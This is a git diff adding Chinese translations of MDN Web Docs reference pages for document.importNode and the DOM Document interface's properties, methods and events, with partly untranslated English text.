{{domxref("DOMImplementation.createDocument","createDocument")}} (namespaceURI, qualifiedNameStr, {{domxref("DocumentType")}} ) {{domxref("document")}}
{{domxref("DOMImplementation.createDocumentType","createDocumentType")}} ( qualifiedNameStr, publicId, systemId ) {{domxref("DocumentType")}}
{{domxref("DOMImplementation.createHTMLDocument","createHTMLDocument")}} ( title ) {{domxref("document")}}
{{domxref("DOMImplementation.getFeature","getFeature")}} ( feature, version ) {{domxref("DOMObject")}}
{{domxref("DOMImplementation.hasFeature","hasFeature")}} ( feature, version ) {{domxref("Boolean")}}
+

规范

+ +

Gecko引擎的特别说明

+ diff --git a/files/zh-cn/web/api/document/importnode/index.html b/files/zh-cn/web/api/document/importnode/index.html new file mode 100644 index 0000000000..0f49c8554d --- /dev/null +++ b/files/zh-cn/web/api/document/importnode/index.html @@ -0,0 +1,69 @@ +--- +title: document.importNode +slug: Web/API/Document/importNode +translation_of: Web/API/Document/importNode +--- +

{{ ApiRef() }}

+ +

概述

+ +

将外部文档的一个节点拷贝一份,然后可以把这个拷贝的节点插入到当前文档中.

+ +

语法

+ +
var node = document.importNode(externalNode, deep);
+
+ +
+
node
+
导入当前文档的新节点. 新节点的 parentNodenull, 因为它还没有插入当前文档的文档树中,属于游离状态.
+
externalNode
+
将要从外部文档导入的节点.
+
deep {{ optional_inline() }}
+
一个布尔值,表明是否要导入节点的后代节点.
+
+ +
+

注意: 在DOM4规范中 (实现于Gecko 10.0 {{ geckoRelease("10.0") }}) ,deep 是个可选的参数. 如果省略不写,则使用默认值 true, 表示深度克隆. 如果你想使用浅克隆,则传入false参数.

+ +

在没有实现DOM4的浏览器中, 这个参数不可以省略.

+
+ +

例子

+ +
var iframe = document.getElementsByTagName("iframe")[0];
+var oldNode = iframe.contentDocument.getElementById("myNode");
+var newNode = document.importNode(oldNode, true);
+document.getElementById("container").appendChild(newNode);
+
+ +

备注

+ +

源节点不会从外部文档中删除,被导入的节点是源节点的一个拷贝.

+ +

 

+ +

将外部文档的节点插入当前文档之前,你必须使用 document.importNode() 从外部文档导入源节点,或者使用 document.adoptNode()导入源节点, 想要了解更多的 Node.ownerDocument 问题,请参考 W3C DOM FAQ.

+ +

即使你不执行导入动作,就执行插入外部文档中的节点.Firefox目前也不会报错(如果严格按标准执行,很多已有的网站都无法正常运行). 我们鼓励开发者严格按标准修改自己已有的不符合上述标准的代码.

+ +

 

+ +

浏览器兼容性

+ + + +

{{Compat("api.Document.importNode")}}

+ +

规范

+ + + +

相关介绍

+ + diff --git a/files/zh-cn/web/api/document/index.html b/files/zh-cn/web/api/document/index.html new file mode 100644 index 0000000000..838834ffb7 --- /dev/null +++ b/files/zh-cn/web/api/document/index.html @@ -0,0 +1,673 @@ +--- +title: Document +slug: Web/API/Document +tags: + - API + - DOM + - Document + - 参考 + - 接口 +translation_of: Web/API/Document +--- +
{{APIRef("DOM")}}
+ +

Document 接口表示任何在浏览器中载入的网页,并作为网页内容的入口,也就是DOM 树。DOM 树包含了像 {{HTMLElement("body")}} 、{{HTMLElement("table")}} 这样的元素,以及大量其他元素。它向网页文档本身提供了全局操作功能,能解决如何获取页面的 URL ,如何在文档中创建一个新的元素这样的问题。

+ +

{{inheritanceDiagram}}

+ +

Document 接口描述了任何类型的文档的通用属性与方法。根据不同的文档类型(例如HTMLXMLSVG,...),还能使用更多 API:使用 "text/html" 作为内容类型(content type)的 HTML 文档,还实现了 {{DOMxRef("HTMLDocument")}} 接口,而 XML 和 SVG 文档则(额外)实现了 {{DOMxRef("XMLDocument")}} 接口。

+ +

构造器

+ +
+
{{DOMxRef("Document.Document","Document()")}}
+
创建一个新的 Document 对象。
+
+ +

属性

+ +

此接口也继承自 {{DOMxRef("Node")}} 和 {{DOMxRef("EventTarget")}} 接口。

+ +
+
{{DOMxRef("Document.all")}} {{ReadOnlyInline}} {{Experimental_Inline}}
+
返回一个以文档节点为根节点的 {{DOMxRef('HTMLAllCollection')}} 集合。换句话说,它能返回页面的完整内容。
+
{{DOMxRef("Document.anchors")}} {{ReadOnlyInline}}
+
返回文档中所有锚点元素的列表。
+
{{DOMxRef("Document.body")}}
+
返回当前文档的 {{HTMLElement("body")}} 或 {{htmlelement("frameset")}} 节点。
+
{{DOMxRef("Document.characterSet")}} {{ReadOnlyInline}}
+
返回文档正在使用的字符集。
+
{{DOMxRef("Document.compatMode")}} {{ReadOnlyInline}} {{Experimental_Inline}}
+
指示文档是否以 quirks 怪异模式或 strict 严格模式呈现。
+
{{DOMxRef("Document.contentType")}} {{ReadOnlyInline}} {{Experimental_Inline}}
+
根据当前文档的 MIME Header,返回它的 Content-Type。
+
{{DOMxRef("Document.doctype")}} {{ReadOnlyInline}}
+
返回当前文档的文档类型定义(Document Type Definition, DTD)。
+
{{DOMxRef("Document.documentElement")}} {{ReadOnlyInline}}
+
返回当前文档的直接子节点。对于 HTML 文档,{{DOMxRef("HTMLHtmlElement")}} 对象一般代表该文档的{{HTMLElement("html")}} 元素。
+
{{DOMxRef("Document.documentURI")}} {{ReadOnlyInline}}
+
以字符串的类型,返回当前文档的路径。
+
{{DOMxRef("Document.embeds")}} {{ReadOnlyInline}}
+
以列表(list)的类型,返回当前文档的嵌入式的元素 {{HTMLElement('embed')}} 。
+
{{DOMxRef("Document.fonts")}}
+
返回当前文档的 {{DOMxRef("FontFaceSet")}} 接口。
+
{{DOMxRef("Document.forms")}} {{ReadOnlyInline}}
+
返回一个包含当前文档中所有表单元素 {{HTMLElement("form")}} 的列表。
+
{{DOMxRef("Document.head")}} {{ReadOnlyInline}}
+
返回当前文档的 {{HTMLElement("head")}} 元素。
+
{{DOMxRef("Document.hidden")}} {{ReadOnlyInline}}
+
返回一个布尔值,表明当前页面是否隐藏。
+
{{DOMxRef("Document.images")}} {{ReadOnlyInline}}
+
返回当前文档中所包含的图片的列表。
+
{{DOMxRef("Document.implementation")}} {{ReadOnlyInline}}
+
返回与当前文档相关联的 DOM 实现。
+
{{DOMxRef("Document.lastStyleSheetSet")}} {{ReadOnlyInline}}
+
返回最后启用样式表的名字。在设置{{DOMxRef("document.selectedStyleSheetSet","selectedStyleSheetSet")}} 前值都为 null 。 
+
{{DOMxRef("Document.links")}} {{ReadOnlyInline}}
+
返回一个包含文档中所有超链接的列表。
+
{{DOMxRef("Document.mozSyntheticDocument")}} {{Non-standard_Inline}}
+
返回 {{JSxRef("Boolean")}} ,仅当此文件是合成的(例如独立图像,视频,音频文件等)时才为 true 。
+
{{DOMxRef("Document.plugins")}} {{ReadOnlyInline}}
+
返回一个可用插件列表。
+
{{DOMxRef("Document.featurePolicy")}} {{ReadOnlyInline}} {{Experimental_Inline}}
+
返回 {{DOMxRef("FeaturePolicy")}} interface which provides a simple API for introspecting the feature policies applied to a specific document.
+
{{DOMxRef("Document.preferredStyleSheetSet")}} {{ReadOnlyInline}}
+
返回 preferred style sheet set as specified by the page author.
+
{{DOMxRef("Document.scripts")}} {{ReadOnlyInline}}
+
返回文档中所有的 {{HTMLElement("script")}} 元素。
+
{{DOMxRef("Document.scrollingElement")}} {{ReadOnlyInline}}
+
返回对文档 {{DOMxRef("Element")}} 元素的引用。
+
{{DOMxRef("Document.selectedStyleSheetSet")}}
+
返回当前正使用的样式表集。
+
{{DOMxRef("Document.styleSheetSets")}} {{ReadOnlyInline}}
+
返回文档上可用样式表的列表。
+
{{DOMxRef("Document.timeline")}} {{ReadOnlyInline}}
+
返回 {{domxref("DocumentTimeline")}} 的一个实例,该实例是在页面加载时自动创建的。
+
{{DOMxRef("Document.undoManager")}} {{ReadOnlyInline}} {{Experimental_Inline}}
+
+
{{DOMxRef("Document.visibilityState")}} {{ReadOnlyInline}}
+
返回 string 表明当前文档的可见性。可能的取值有 visible, hidden, prerender, and unloaded 。
+
+ +

Document 接口继承自 {{DOMxRef("ParentNode")}} 的接口:

+ +

{{page("/en-US/docs/Web/API/ParentNode","Properties")}}

+ +

HTMLDocument 的扩展

+ +

HTML 文件的 Document 接口继承自 {{DOMxRef("HTMLDocument")}} 接口(从 HTML5 扩展):

+ +
+
{{DOMxRef("Document.cookie")}}
+
返回一个使用分号分隔的 cookie 列表,或设置(写入)一个 cookie。
+
{{DOMxRef("Document.defaultView")}} {{ReadOnlyInline}}
+
返回一个对(当前) window 对象的引用。
+
{{DOMxRef("Document.designMode")}}
+
获取或设置(让用户)编辑整个文档的能力。
+
{{DOMxRef("Document.dir")}} {{ReadOnlyInline}}
+
获取或设置文档的文字方向(rtl 或 ltr)。
+
{{DOMxRef("Document.domain")}}
+
获取或设置当前文档的域名。
+
{{DOMxRef("Document.lastModified")}} {{ReadOnlyInline}}
+
返回文档最后修改的时间。
+
{{DOMxRef("Document.location")}} {{ReadOnlyInline}}
+
返回当前文档的 URI。
+
{{DOMxRef("Document.readyState")}} {{ReadOnlyInline}}
+
返回当前文档的加载状态。
+
{{DOMxRef("Document.referrer")}} {{ReadOnlyInline}}
+
返回来源页面的 URI。
+
{{DOMxRef("Document.title")}}
+
获取或设置当前文档的标题。
+
{{DOMxRef("Document.URL")}} {{ReadOnlyInline}}
+
以字符串形式返回文档的地址栏链接。
+
+ +

DocumentOrShadowRoot 包含的属性

+ +

Document 接口混入(mixin){{DOMxRef("DocumentOrShadowRoot")}} 包含的属性。请注意,这些属性目前仅有 Chrome 实现;其他浏览器仍在 {{DOMxRef("Document")}} 接口上直接实现它们。.

+ +
+
{{DOMxRef("DocumentOrShadowRoot.activeElement")}} {{ReadOnlyInline}}
+
返回阴影树内聚焦的 {{DOMxRef('Element')}} 。
+
{{DOMxRef("Document.fullscreenElement")}} {{ReadOnlyInline}}
+
当前文档处于全屏模式下的元素。
+
{{DOMxRef("DocumentOrShadowRoot.pointerLockElement")}} {{ReadOnlyInline}} {{Experimental_Inline}}
+
返回 element set as the target for mouse events while the pointer is locked. null if lock is pending, pointer is unlocked, or if the target is in another document.
+
{{DOMxRef("DocumentOrShadowRoot.styleSheets")}} {{ReadOnlyInline}}
+
Returns a {{DOMxRef('StyleSheetList')}} of {{DOMxRef('CSSStyleSheet')}} objects for stylesheets explicitly linked into, or embedded in a document.
+
+ +

Event handlers

+ +
+
{{DOMxRef("Document.onafterscriptexecute")}} {{Non-standard_Inline}}
+
Represents the event handling code for the {{event("afterscriptexecute")}} event.
+
{{DOMxRef("Document.onbeforescriptexecute")}} {{Non-standard_Inline}}
+
Represents the event handling code for the {{event("beforescriptexecute")}} event.
+
{{DOMxRef("Document.oncopy")}} {{Non-standard_Inline}}
+
Represents the event handling code for the {{event("copy")}} event.
+
{{DOMxRef("Document.oncut")}} {{Non-standard_Inline}}
+
Represents the event handling code for the {{event("cut")}} event.
+
{{DOMxRef("Document.onfullscreenchange")}}
+
Is an {{DOMxRef("EventHandler")}} representing the code to be called when the {{event("fullscreenchange")}} event is raised.
+
{{DOMxRef("Document.onfullscreenerror")}}
+
Is an {{DOMxRef("EventHandler")}} representing the code to be called when the {{event("fullscreenerror")}} event is raised.
+
{{DOMxRef("Document.onpaste")}} {{Non-standard_Inline}}
+
Represents the event handling code for the {{event("paste")}} event.
+
{{DOMxRef("Document.onreadystatechange")}}
+
Represents the event handling code for the {{event("readystatechange")}} event.
+
{{DOMxRef("Document.onselectionchange")}} {{Experimental_Inline}}
+
Is an {{DOMxRef("EventHandler")}} representing the code to be called when the {{event("selectionchange")}} event is raised.
+
{{DOMxRef("Document.onvisibilitychange")}}
+
Is an {{DOMxRef("EventHandler")}} representing the code to be called when the {{event("visibilitychange")}} event is raised.
+
+ +

The Document interface is extended with the {{DOMxRef("GlobalEventHandlers")}} interface:

+ +

{{Page("/en-US/docs/Web/API/GlobalEventHandlers", "Properties")}}

+ +

Deprecated properties

+ +
+
{{DOMxRef("Document.alinkColor")}} {{Deprecated_Inline}}
+
Returns or sets the color of active links in the document body.
+
{{DOMxRef("Document.all")}} {{Deprecated_Inline}} {{Non-standard_Inline}}
+
Provides access to all elements in the document. This is a legacy, non-standard property and should not be used.
+
{{DOMxRef("Document.applets")}} {{Deprecated_Inline}} {{ReadOnlyInline}}
+
Returns an ordered list of the applets within a document.
+
{{DOMxRef("Document.bgColor")}} {{Deprecated_Inline}}
+
获取或设置 the background color of 当前文档。
+
{{DOMxRef("Document.charset")}} {{ReadOnlyInline}} {{Deprecated_Inline}}
+
Alias of {{DOMxRef("Document.characterSet")}}. Use this property instead.
+
{{DOMxRef("Document.domConfig")}} {{Deprecated_Inline}}
+
Should return a {{DOMxRef("DOMConfiguration")}} 对象。
+
{{DOMxRef("document.fgColor")}} {{Deprecated_Inline}}
+
获取或设置 the foreground color, or text color, of 当前文档。
+
{{DOMxRef("Document.fullscreen")}} {{Obsolete_Inline}}
+
true when the document is in {{DOMxRef("Using_full-screen_mode","full-screen mode")}}.
+
{{DOMxRef("Document.height")}} {{Non-standard_Inline}} {{Obsolete_Inline}}
+
获取或设置 the height of 当前文档。
+
{{DOMxRef("Document.inputEncoding")}} {{ReadOnlyInline}} {{Deprecated_Inline}}
+
Alias of {{DOMxRef("Document.characterSet")}}. Use this property instead.
+
{{DOMxRef("Document.linkColor")}} {{Deprecated_Inline}}
+
获取或设置 the color of hyperlinks in the document.
+
{{DOMxRef("Document.vlinkColor")}} {{Deprecated_Inline}}
+
获取或设置 the color of visited hyperlinks.
+
{{DOMxRef("Document.width")}} {{Non-standard_Inline}} {{Obsolete_Inline}}
+
返回 width of 当前文档。
+
{{DOMxRef("Document.xmlEncoding")}} {{Deprecated_Inline}}
+
返回 encoding as determined by the XML declaration.
+
{{DOMxRef("Document.xmlStandalone")}} {{Obsolete_Inline("10.0")}}
+
Returns true if the XML declaration specifies the document to be standalone (e.g., An external part of the DTD affects the document's content), else false.
+
{{DOMxRef("Document.xmlVersion")}} {{Obsolete_Inline("10.0")}}
+
返回 version number as specified in the XML declaration or "1.0" if the declaration is absent.
+
+ +

Methods

+ +

该接口同样继承了 {{DOMxRef("Node")}} 和 {{DOMxRef("EventTarget")}} 接口。

+ +
+
{{DOMxRef("Document.adoptNode()")}}
+
从外部文档中采用节点。
+
{{DOMxRef("Document.captureEvents()")}} {{Deprecated_Inline}}
+
参见 {{DOMxRef("Window.captureEvents")}}。
+
{{DOMxRef("Document.caretRangeFromPoint()")}} {{Non-standard_Inline}}
+
Gets a {{DOMxRef("Range")}} object for the document fragment under the specified coordinates.
+
{{DOMxRef("Document.createAttribute()")}}
+
创建一个新的 {{DOMxRef("Attr")}} 对象并返回。
+
{{DOMxRef("Document.createAttributeNS()")}}
+
在给定命名空间创建一个新的属性节点并返回。
+
{{DOMxRef("Document.createCDATASection()")}}
+
创建一个新的数据节点(CDATA node)并返回。
+
{{DOMxRef("Document.createComment()")}}
+
创建一个新的注释节点并返回。
+
{{DOMxRef("Document.createDocumentFragment()")}}
+
创建一个新的文档片段。
+
{{DOMxRef("Document.createElement()")}}
+
用给定标签名 tagName 创建一个新的元素。
+
{{DOMxRef("Document.createElementNS()")}}
+
用给定标签名 tagName 和命名空间创建一个新的元素。
+
{{DOMxRef("Document.createEntityReference()")}} {{Obsolete_Inline}}
+
创建一个 new entity reference object and returns it.
+
{{DOMxRef("Document.createEvent()")}}
+
创建一个 event 对象。
+
{{DOMxRef("Document.createNodeIterator()")}}
+
创建一个 {{DOMxRef("NodeIterator")}} 对象。
+
{{DOMxRef("Document.createProcessingInstruction()")}}
+
创建一个 new {{DOMxRef("ProcessingInstruction")}} 对象。
+
{{DOMxRef("Document.createRange()")}}
+
创建一个 {{DOMxRef("Range")}} 对象。
+
{{DOMxRef("Document.createTextNode()")}}
+
创建一个 text node.
+
{{DOMxRef("Document.createTouch()")}} {{Deprecated_Inline}}
+
创建一个 {{DOMxRef("Touch")}} 对象。
+
{{DOMxRef("Document.createTouchList()")}}
+
创建一个 {{DOMxRef("TouchList")}} 对象。
+
{{DOMxRef("Document.createTreeWalker()")}}
+
创建一个 {{DOMxRef("TreeWalker")}} 对象。
+
{{DOMxRef("Document.enableStyleSheetsForSet()")}}
+
Enables the style sheets for the specified style sheet set.
+
{{DOMxRef("Document.exitPointerLock()")}} {{Experimental_Inline}}
+
Release the pointer lock.
+
{{DOMxRef("Document.getAnimations()")}} {{Experimental_Inline}}
+
Returns an array of all {{DOMxRef("Animation")}} objects currently in effect, whose target elements are descendants of the document.
+
{{DOMxRef("Document.getElementsByClassName()")}}
+
Returns a list of elements with the given class name.
+
{{DOMxRef("Document.getElementsByTagName()")}}
+
Returns a list of elements with the given tag name.
+
{{DOMxRef("Document.getElementsByTagNameNS()")}}
+
Returns a list of elements with the given tag name and namespace.
+
{{DOMxRef("Document.hasStorageAccess()")}}
+
Returns a {{jsxref("Promise")}} that resolves with a boolean value indicating whether the document has access to its first-party storage.
+
{{DOMxRef("Document.importNode()")}}
+
Returns a clone of a node from an external document.
+
{{DOMxRef("Document.normalizeDocument()")}} {{Obsolete_Inline}}
+
Replaces entities, normalizes text nodes, etc.
+
{{DOMxRef("Document.releaseCapture()")}} {{Non-standard_Inline}} {{gecko_minversion_inline("2.0")}}
+
Releases the current mouse capture if it's on an element in this document.
+
{{DOMxRef("Document.releaseEvents()")}} {{Non-standard_Inline}} {{Deprecated_Inline}}
+
详见 {{DOMxRef("Window.releaseEvents()")}}。
+
{{DOMxRef("Document.requestStorageAccess()")}}
+
Returns a {{jsxref("Promise")}} that resolves if the access to first-party storage was granted, and rejects if access was denied.
+
{{DOMxRef("Document.routeEvent()")}} {{Non-standard_Inline}} {{Obsolete_Inline(24)}}
+
See {{DOMxRef("Window.routeEvent()")}}.
+
{{DOMxRef("Document.mozSetImageElement()")}} {{Non-standard_Inline}}
+
Allows you to change the element being used as the background image for a specified element ID.
+
+ +

The Document interface is extended with the {{DOMxRef("ParentNode")}} interface:

+ +
+
{{DOMxRef("document.getElementById","document.getElementById(String id)")}}
+
Returns an object reference to the identified element.
+
{{DOMxRef("document.querySelector()")}}
+
返回 first Element node within the document, in document order, that matches the specified selectors.
+
{{DOMxRef("document.querySelectorAll()")}}
+
Returns a list of all the Element nodes within the document that match the specified selectors.
+
+ +

The Document interface is extended with the {{DOMxRef("XPathEvaluator")}} interface:

+ +
+
{{DOMxRef("document.createExpression()")}}
+
Compiles an XPathExpression which can then be used for (repeated) evaluations.
+
{{DOMxRef("document.createNSResolver()")}}
+
创建一个 {{DOMxRef("XPathNSResolver")}} 对象。
+
{{DOMxRef("document.evaluate()")}}
+
Evaluates an XPath expression.
+
+ +

Extension for HTML documents

+ +

The Document interface for HTML documents inherit from the {{DOMxRef("HTMLDocument")}} interface or, since HTML5, is extended for such documents:

+ +
+
{{DOMxRef("document.clear()")}} {{Non-standard_Inline}} {{Deprecated_Inline}}
+
In majority of modern browsers, including recent versions of Firefox and Internet Explorer, this method does nothing.
+
{{DOMxRef("document.close()")}}
+
Closes a document stream for writing.
+
{{DOMxRef("document.execCommand()")}}
+
On an editable document, executes a formating command.
+
{{DOMxRef("document.getElementsByName()")}}
+
Returns a list of elements with the given name.
+
{{DOMxRef("document.hasFocus()")}}
+
Returns true if the focus is currently located anywhere inside the specified document.
+
{{DOMxRef("document.open()")}}
+
Opens a document stream for writing.
+
{{DOMxRef("document.queryCommandEnabled()")}}
+
Returns true if the formating command can be executed on the current range.
+
{{DOMxRef("document.queryCommandIndeterm()")}}
+
Returns true if the formating command is in an indeterminate state on the current range.
+
{{DOMxRef("document.queryCommandState()")}}
+
Returns true if the formating command has been executed on the current range.
+
{{DOMxRef("document.queryCommandSupported()")}}
+
Returns true if the formating command is supported on the current range.
+
{{DOMxRef("document.queryCommandValue()")}}
+
返回 current value of the current range for a formating command.
+
{{DOMxRef("document.write()")}}
+
Writes text in a document.
+
{{DOMxRef("document.writeln()")}}
+
Writes a line of text in a document.
+
+ +

Methods included from DocumentOrShadowRoot

+ +

The Document interface includes the following methods defined on the {{DOMxRef("DocumentOrShadowRoot")}} mixin. Note that this is currently only implemented by Chrome; other browsers still implement them on the {{DOMxRef("Document")}} interface.

+ +
+
{{DOMxRef("DocumentOrShadowRoot.getSelection()")}}
+
Returns a {{DOMxRef('Selection')}} object representing the range of text selected by the user, or the current position of the caret.
+
{{DOMxRef("DocumentOrShadowRoot.elementFromPoint()")}}
+
返回 topmost element at the specified coordinates.
+
{{DOMxRef("DocumentOrShadowRoot.elementsFromPoint()")}}
+
Returns an array of all elements at the specified coordinates.
+
{{DOMxRef("DocumentOrShadowRoot.caretPositionFromPoint()")}}
+
Returns a {{DOMxRef('CaretPosition')}} object containing the DOM node containing the caret, and caret's character offset within that node.
+
+ +

Events

+ +

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

+ +
+
{{DOMxRef("Document/scroll_event", "scroll")}}
+
Fired when the document view or an element has been scrolled.
+ Also available via the {{DOMxRef("GlobalEventHandlers.onscroll", "onscroll")}} 属性。
+
{{DOMxRef("Document/visibilitychange_event", "visibilitychange")}}
+
Fired when the content of a tab has become visible or has been hidden.
+ Also available via the {{DOMxRef("Document.onvisibilitychange", "onvisibilitychange")}} 属性。
+
{{DOMxRef("Document/wheel_event","wheel")}}
+
Fired when the user rotates a wheel button on a pointing device (typically a mouse).
+ Also available via the {{DOMxRef("GlobalEventHandlers.onwheel", "onwheel")}} 属性。
+
+ +

Animation events

+ +
+
{{domxref("Document/animationcancel_event", "animationcancel")}}
+
Fired when an animation unexpectedly aborts.
+ Also available via the {{domxref("GlobalEventHandlers/onanimationcancel", "onanimationcancel")}} 属性。
+
{{domxref("Document/animationend_event", "animationend")}}
+
Fired when an animation has completed normally.
+ Also available via the {{domxref("GlobalEventHandlers/onanimationend", "onanimationend")}} 属性。
+
{{domxref("Document/animationiteration_event", "animationiteration")}}
+
Fired when an animation iteration has completed.
+ Also available via the {{domxref("GlobalEventHandlers/onanimationiteration", "onanimationiteration")}} 属性。
+
{{domxref("Document/animationstart_event", "animationstart")}}
+
Fired when an animation starts.
+ Also available via the {{domxref("GlobalEventHandlers/onanimationstart", "onanimationstart")}} 属性。
+
+ +

Clipboard events

+ +
+
{{domxref("Document/copy_event", "copy")}}
+
Fired when the user initiates a copy action through the browser's user interface.
+ Also available via the {{domxref("HTMLElement/oncopy", "oncopy")}} 属性。
+
{{domxref("Document/cut_event", "cut")}}
+
Fired when the user initiates a cut action through the browser's user interface.
+ Also available via the {{domxref("HTMLElement/oncut", "oncut")}} 属性。
+
{{domxref("Document/paste_event", "paste")}}
+
Fired when the user initiates a paste action through the browser's user interface.
+ Also available via the {{domxref("HTMLElement/onpaste", "onpaste")}} 属性。
+
+ +

Drag & drop events

+ +
+
{{domxref("Document/drag_event", "drag")}}
+
Fired every few hundred milliseconds as an element or text selection is being dragged by the user.
+ Also available via the {{domxref("GlobalEventHandlers/ondrag", "ondrag")}} 属性。
+
{{domxref("Document/dragend_event", "dragend")}}
+
Fired when a drag operation is being ended (by releasing a mouse button or hitting the escape key).
+ Also available via the {{domxref("GlobalEventHandlers/ondragend", "ondragend")}} 属性。
+
{{domxref("Document/dragenter_event", "dragenter")}}
+
Fired when a dragged element or text selection enters a valid drop target.
+ Also available via the {{domxref("GlobalEventHandlers/ondragenter", "ondragenter")}} 属性。
+
{{domxref("Document/dragexit_event", "dragexit")}}
+
Fired when an element is no longer the drag operation's immediate selection target.
+ Also available via the {{domxref("GlobalEventHandlers/ondragexit", "ondragexit")}} 属性。
+
{{domxref("Document/dragleave_event", "dragleave")}}
+
Fired when a dragged element or text selection leaves a valid drop target.
+ Also available via the {{domxref("GlobalEventHandlers/ondragleave", "ondragleave")}} 属性。
+
{{domxref("Document/dragover_event", "dragover")}}
+
Fired when an element or text selection is being dragged over a valid drop target (every few hundred milliseconds).
+ Also available via the {{domxref("GlobalEventHandlers/ondragover", "ondragover")}} 属性。
+
{{domxref("Document/dragstart_event", "dragstart")}}
+
Fired when the user starts dragging an element or text selection.
+ Also available via the {{domxref("GlobalEventHandlers/ondragstart", "ondragstart")}} 属性。
+
{{domxref("Document/drop_event", "drop")}}
+
Fired when an element or text selection is dropped on a valid drop target.
+ Also available via the {{domxref("GlobalEventHandlers/ondrop", "ondrop")}} 属性。
+
+ +

Fullscreen events

+ +
+
{{domxref("Document/fullscreenchange_event", "fullscreenchange")}}
+
Fired when the Document transitions into or out of full-screen mode.
+ Also available via the {{DOMxRef("Document.onfullscreenchange", "onfullscreenchange")}} 属性。
+
fullscreenerror
+
Fired if an error occurs while attempting to switch into or out of full-screen mode.
+ Also available via the {{DOMxRef("Document.onfullscreenerror", "onfullscreenerror")}} 属性。
+
+

Keyboard events

+
+
{{DOMxRef("Document/keydown_event", "keydown")}}
+
Fired when a key is pressed.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onkeydown", "onkeydown")}} 属性。
+
{{DOMxRef("Document/keypress_event", "keypress")}}
+
Fired when a key that produces a character value is pressed down. {{Deprecated_Inline}}
+ Also available via the {{DOMxRef("GlobalEventHandlers/onkeypress", "onkeypress")}} 属性。
+
{{DOMxRef("Document/keyup_event", "keyup")}}
+
Fired when a key is released.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onkeyup", "onkeyup")}} 属性。
+
+ +

Load & unload events

+ +
+
{{domxref("Document/DOMContentLoaded_event", "DOMContentLoaded")}}
+
Fired when the document has been completely loaded and parsed, without waiting for stylesheets, images, and subframes to finish loading.
+
{{domxref("Document/readystatechange_event", "readystatechange")}}
+
Fired when the {{domxref("Document/readyState", "readyState")}} attribute of a document has changed.
+ Also available via the onreadystatechange 属性。
+
+ +

Pointer events

+ +
+
{{domxref("Document/gotpointercapture_event", "gotpointercapture")}}
+
Fired when when an element captures a pointer using setPointerCapture().
+ Also available via the {{domxref("GlobalEventHandlers/ongotpointercapture", "ongotpointercapture")}} 属性。
+
{{domxref("Document/lostpointercapture_event", "lostpointercapture")}}
+
Fired when a captured pointer is released.
+ Also available via the {{domxref("GlobalEventHandlers/onlostpointercapture", "onlostpointercapture")}} 属性。
+
{{domxref("Document/pointercancel_event", "pointercancel")}}
+
Fired when a pointer event is canceled.
+ Also available via the {{domxref("GlobalEventHandlers/onpointercancel", "onpointercancel")}} 属性。
+
{{domxref("Document/pointerdown_event", "pointerdown")}}
+
Fired when a pointer becomes active.
+ Also available via the {{domxref("GlobalEventHandlers/onpointerdown", "onpointerdown")}} 属性。
+
{{domxref("Document/pointerenter_event", "pointerenter")}}
+
Fired when a pointer is moved into the hit test boundaries of an element or one of its descendants.
+ Also available via the {{domxref("GlobalEventHandlers/onpointerenter", "onpointerenter")}} 属性。
+
{{domxref("Document/pointerleave_event", "pointerleave")}}
+
Fired when a pointer is moved out of the hit test boundaries of an element.
+ Also available via the {{domxref("GlobalEventHandlers/onpointerleave", "onpointerleave")}} 属性。
+
{{domxref("Document/pointerlockchange_event", "pointerlockchange")}}
+
Fired when the pointer is locked/unlocked.
+ Also available via the {{domxref("GlobalEventHandlers/onpointerlockchange", "onpointerlockchange")}} 属性。
+
{{domxref("Document/pointerlockerror_event", "pointerlockerror")}}
+
Fired when locking the pointer failed.
+ Also available via the {{domxref("GlobalEventHandlers/onpointerlockerror", "onpointerlockerror")}} 属性。
+
{{domxref("Document/pointermove_event", "pointermove")}}
+
Fired when a pointer changes coordinates.
+ Also available via the {{domxref("GlobalEventHandlers/onpointermove", "onpointermove")}} 属性。
+
{{domxref("Document/pointerout_event", "pointerout")}}
+
Fired when a pointer is moved out of the hit test boundaries of an element (among other reasons).
+ Also available via the {{domxref("GlobalEventHandlers/onpointerout", "onpointerout")}} 属性。
+
{{domxref("Document/pointerover_event", "pointerover")}}
+
Fired when a pointer is moved into an element's hit test boundaries.
+ Also available via the {{domxref("GlobalEventHandlers/onpointerover", "onpointerover")}} 属性。
+
{{domxref("Document/pointerup_event", "pointerup")}}
+
Fired when a pointer is no longer active.
+ Also available via the {{domxref("GlobalEventHandlers/onpointerup", "onpointerup")}} 属性。
+
+ +

Selection events

+ +
+
{{DOMxRef("Document/selectionchange_event", "selectionchange")}}
+
Fired when the current text selection on a document is changed.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onselectionchange", "onselectionchange")}} 属性。
+
{{DOMxRef("Document/selectstart_event", "selectstart")}}
+
Fired when the user begins a new selection.
+ Also available via the {{DOMxRef("GlobalEventHandlers/onselectstart", "onselectstart")}} 属性。
+
+ +

Touch events

+ +
+
{{domxref("Document/touchcancel_event", "touchcancel")}}
+
Fired when one or more touch points have been disrupted in an implementation-specific manner (for example, too many touch points are created).
+ Also available via the {{domxref("GlobalEventHandlers/ontouchcancel", "ontouchcancel")}} 属性。
+
{{domxref("Document/touchend_event", "touchend")}}
+
Fired when one or more touch points are removed from the touch surface.
+ Also available via the {{domxref("GlobalEventHandlers/ontouchend", "ontouchend")}} property
+
{{domxref("Document/touchmove_event", "touchmove")}}
+
Fired when one or more touch points are moved along the touch surface.
+ Also available via the {{domxref("GlobalEventHandlers/ontouchmove", "ontouchmove")}} property
+
{{domxref("Document/touchstart_event", "touchstart")}}
+
Fired when one or more touch points are placed on the touch surface.
+ Also available via the {{domxref("GlobalEventHandlers/ontouchstart", "ontouchstart")}} property
+
+

Transition events

+
+
{{domxref("Document/transitioncancel_event", "transitioncancel")}}
+
Fired when a CSS transition is canceled.
+ Also available via the {{domxref("GlobalEventHandlers/ontransitioncancel", "ontransitioncancel")}} 属性。
+
{{domxref("Document/transitionend_event", "transitionend")}}
+
Fired when a CSS transition has completed.
+ Also available via the {{domxref("GlobalEventHandlers/ontransitionend", "ontransitionend")}} 属性。
+
{{domxref("Document/transitionrun_event", "transitionrun")}}
+
Fired when a CSS transition is first created.
+ Also available via the {{domxref("GlobalEventHandlers/ontransitionrun", "ontransitionrun")}} 属性。
+
{{domxref("Document/transitionstart_event", "transitionstart")}}
+
Fired when a CSS transition has actually started.
